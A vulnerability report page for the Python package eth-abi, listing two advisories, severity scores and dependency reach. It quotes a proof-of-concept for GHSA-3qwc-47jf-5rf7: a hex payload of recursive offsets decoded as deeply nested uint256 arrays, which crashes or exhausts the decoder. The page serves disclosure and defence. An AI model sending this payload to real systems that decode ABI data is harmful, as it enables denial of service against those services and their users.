pypi package report

Is eth-abi safe?

2 known vulnerabilities, worst severity MODERATE.

// reach

4 direct dependencies

none carry a known advisory

    12 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    No published models are known to use this package.

    cvss
    5.0
    medium

    severity band, no base score published

    epss
    not scored

    chance of exploitation in 30 days

    xyz score
    not scored

    CyberXYZ composite out of 10

    fig. 01 — GHSA-3qwc-47jf-5rf7, the advisory selected below

    // 2 advisories

    GHSA-3qwc-47jf-5rf7

    MODERATEGitHub rating

    This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

    from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))

    Checked 2026-11-07 at 17:36 UTC. The most recent advisory here was published 2024-03-05. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.